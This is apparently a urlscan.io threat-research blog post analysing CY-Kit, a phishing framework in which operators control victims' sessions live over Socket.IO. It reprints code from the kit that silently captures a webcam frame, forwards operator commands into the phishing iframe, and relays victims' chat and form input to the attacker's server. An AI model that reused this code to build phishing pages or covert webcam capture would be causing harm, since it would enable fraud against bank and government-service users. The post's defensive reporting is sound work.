urlscan.io Blog

CY-Kit represents a dangerous evolution in phishing, moving beyond simple credential harvesting to a “live puppeteer” model where operators control victim sessions in real time via Socket.IO. This Chinese-backed framework features an invasive toolset that includes live social-engineering chat, the ability to silently capture victim photos via webcam, and dynamic “HackerInput” monitoring to observe every keystroke. Read our full analysis of CY-Kit’s modular architecture and how its real-time command-and-control interface allows attackers to manipulate banking verification flows as they happen.

Intel card

• Primary Name: “CY-Kit”

Targeting

Regions: Asia-Pacific (APAC) · Europe · North America · Latin America · Middle East · Africa

Key findings

• Strong concentration of Taiwanese financial institutions and government-linked services, indicating targeted regional campaigns in Taiwan
• Continued overlap between Southeast Asian banking and telecom providers, suggesting coordinated regional targeting strategies
• Inclusion of Canadian provincial government entities and utilities, highlighting highly localized North American targeting
• Blending of global financial platforms with regional banks to maximize both trust and geographic reach
• Persistent use of postal and logistics brands as initial phishing lures
• Integration of transport and smart payment systems, indicating expansion into transit-based fraud scenarios
• Presence of infrastructure masking to evade detection and prolong campaign lifespan
• Balanced mix of global and highly localized brands, reinforcing a scalable PhaaS model with region-specific frontend customization

The urlscan Threat Research Team have uncovered a phishing framework referred to as CY-Kit, a modular phishing platform designed to provide live operator control over victims in real time. The framework combines dynamically rendered phishing pages, Socket.IO command-and-control, and a highly interactive victim interface that allows threat actors to manipulate the victim session while it is in progress.

Example CY-Kit site themed for 4-72

CY-Kit is a live puppeteer kit enabling operators to control the victim browser during the attack lifecycle. Operators can push instructions into the phishing page, block actions, simulate bank verification workflows, and even capture live camera images from the victim’s device.

The architecture is built around three major components:

1. Outer control shell: renders the phishing page inside an iframe and connects to the command server
2. Runtime agent: executes inside the phishing page itself and captures victim input
3. Real-time C2 infrastructure: delivered via Socket.IO

The phishing page itself does not load directly in the browser window. Instead, the site renders a wrapper application that dynamically loads the fake banking interface inside an iframe.

The outer application retrieves a page configuration file:

  // Loads page config
  fetch("./page.json")

The framework then constructs an iframe URL pointing to the selected phishing asset:

  const m = computed(() => `${location.protocol}//${location.host}/${o.value}`)

The phishing interface is rendered to the victim through the iframe:

  <iframe :src="m.value" class="w-screen h-screen" />

This architecture allows the outer frame to retain control over the victim session, acting as an intermediary between the phishing UI and the attacker’s command infrastructure.

The outer shell maintains a persistent Socket.IO connection to the attacker’s command server. Every victim connecting to a phishing page establishes a live session with the operator. This allows the attacker to monitor victim activity and issue instructions in real time.

The framework listens for several command events:

  u.on("shake", f)
  u.on("iframe:message", v)

Commands received from the C2 server are forwarded directly into the iframe via postMessage.

  const v = (e) => {
    i.value.contentWindow.postMessage({ ...e, source: "hacker" }, "*")
  }

The use of the literal string ‘source: “hacker”’ is notable. This string appears in the production code and clearly identifies the purpose of the framework.

Once a victim is connected, the operator can execute a range of commands against the victim’s browser session. These commands allow the attacker to manipulate the phishing flow in real time.

This capability set indicates the framework is designed not merely to collect credentials but to support live social-engineering workflows during payment fraud attempts.

One of the most invasive features of the framework is its ability to capture images from the victim’s camera.

The following function requests webcam access and silently captures a frame:

  async function Ec() {
    const stream = await navigator.mediaDevices.getUserMedia({
      audio: false,
      video: { width: screen.width, height: screen.height, facingMode: "user" }
    })
    await Ri(1000)
    ctx.drawImage(video, 0, 0)
    return canvas.toDataURL("image/png")
  }

The function:

1. Requests webcam access
2. Waits one second
3. Captures an image
4. Returns a base64 encoded photo to the attacker

This allows the operator to capture the victim’s face on demand, likely for identity verification during fraud operations.

The framework also includes a real-time chat interface enabling direct communication between the operator and the victim. The chat system is implemented through a Pinia state store and integrated into the outer control wrapper.

Chat code sample with urlscan Threat Research Team annotations:

  const Cn = Ln("chat", {
    state: () => ({
      message: [],      // Full message history array
      show: false,      // Whether chat window is currently open
      canShow: false,   // Whether the chat button should be visible at all
      title: ""         // Chat window title (set by operator)
    }),
    actions: {
      // Victim sends a message
      sendMessage(content, callback) {
        const msg = {
          message: content,
          uuid: generateUUID(),
          timestamp: Date.now(),
          sender: "0",          // "0" = victim
          msgType: "text",
          read: false
        };
        // Emits to C2 server via Socket.IO, then adds to local store on ACK
        ae.Instance.emit("client:chat", wrap(msg), (response) => {
          this.message.push(msg);
          callback();
        });
      },
      // Operator message received
      receivedMessage(msg) {
        this.message.push(msg);
      },
      // Operator sends full chat history (e.g. victim reloads page)
      receivedBatchMessages(msgs) {
        this.message = msgs;
      }
    },
    persist: true   // Chat history survives page refreshes via localStorage
  });

This functionality allows attackers to guide victims through additional verification steps, providing a powerful social engineering channel during the phishing session.

Phishing pages are defined through a page.json configuration file.

Example configuration:

  [
    {
     "asset":"websites/8ada0cfe-7cd6-4994-bfeb-e34c16024122/index.html",
     "path":"index",
     "title":"index"
    },
    {
     "asset":"websites/8ada0cfe-7cd6-4994-bfeb-e34c16024122/2709cd4e-14b3-42ca-abdc-40355c81ecb3/index.html",
     "path":"card",
     "title":"信用卡"
    },
    {
     "asset":"websites/8ada0cfe-7cd6-4994-bfeb-e34c16024122/13bd1cbc-3b28-4be2-9d30-3ada2db17d9c/index.html",
     "path":"sms",
     "title":"短信"
    }
  ]

The configuration references a collection of HTML assets representing individual phishing stages.

Titles include Chinese strings such as:

• 信用卡 - Credit card
• 短信 - SMS
• 運通卡cvv - AmEx cvv
• 星展APP - DBS App
• 恒生APP - Hang Seng App

These stages correspond to the typical workflow of payment phishing campaigns, including:

• Card capture
• SMS OTP verification
• 3-D Secure flows
• Bank application authentication screens

The phishing HTML itself contains a runtime script that acts as an active data-collection agent. This component runs inside the iframe and communicates with the outer frame via postMessage. The runtime exposes several global functions:

  window.submitForm
  window.changeState
  window.notifyOperation

These functions are used by the phishing interface to send captured data back to the attacker.

The runtime includes a subsystem referred to internally as HackerInput, which monitors user interaction with all form elements.

The framework contains an embedded macro engine allowing dynamic behavior inside phishing pages.

Supported macro types include:

These macros allow operators to customize phishing pages without modifying code, increasing the kit’s flexibility.

Captured victim data flows through several layers of the framework.

Input events are detected by the runtime agent:

Victim enters data

• HackerInput captures change
• Validation rules applied
• sendEvent(“userInputs”)
• postMessage to parent frame
• index.js forwards via Socket.IO
• C2 operator receives data

When the victim submits the form:

submitForm()

• collect all fields
• validate inputs
• sendEvent(“input:submit”)
• forwarded to C2

This pipeline allows attackers to observe victim input in real time, even before form submission.

Multiple indicators suggest the framework was developed by Chinese-speaking developers.

Several debug messages embedded in the code are written in Chinese:

The framework exposes several distinctive technical indicators:

DOM attributes: hacker-id, hacker-built-in-button

JavaScript identifiers: hacker-runtime

LocalStorage keys: cy-uuid, cy-id

The repeated cy- prefix suggests an internal project identifier, leading us to refer to the framework internally as CY-Kit.

CY-Kit represents a highly interactive phishing framework designed for real-time operator-driven fraud.

Unlike traditional phishing kits that simply collect credentials, this platform provides:

• social-engineering chat
• camera capture capabilities

The framework’s architecture, an outer control shell connected to a Socket.IO command server and an embedded runtime agent inside the phishing page, enables attackers to manipulate victims throughout the attack lifecycle.

Below is a list of brands which have been detected and linked to CY-Kit:

• Banking & Financial Services
  • Fidelity - https://urlscan.io/result/019b9023-77d8-741c-a10d-9738a36b1a24
• Government Services
  • Government of Manitoba - https://urlscan.io/result/019d4000-5450-767a-8ccf-b721c131d2ff
  • Hong Kong Government - https://urlscan.io/result/019cf5d9-bb7b-7608-a4b5-2706291e13e3
  • Government of Taiwan - https://urlscan.io/result/019cf56a-7c4a-778d-968e-5f98fdb94aff
• Postal & Courier Services
  • Ghana Post - https://urlscan.io/result/019d0015-ba20-7118-ae70-60b53c60357e
• Transport & Mobility
  • Estafeta - https://urlscan.io/result/019d26e5-d773-7453-91c1-abc442294112
  • 4-72 - https://urlscan.io/result/019d6971-3175-77ca-b908-45d671a2527b
  • FETC (Far Eastern Electronic Toll Collection) - https://urlscan.io/result/019d0812-f2c6-715e-b938-1c6fe7b63376

More on urlscan Pro

If you want to learn about the urlscan Pro platform and how it might be valuable for your organization feel free to reach out to us! We offer free trials with no strings attached. We would be happy to give you a passionate demo of what our platform can do for you. Reach out to us at sales@urlscan.io.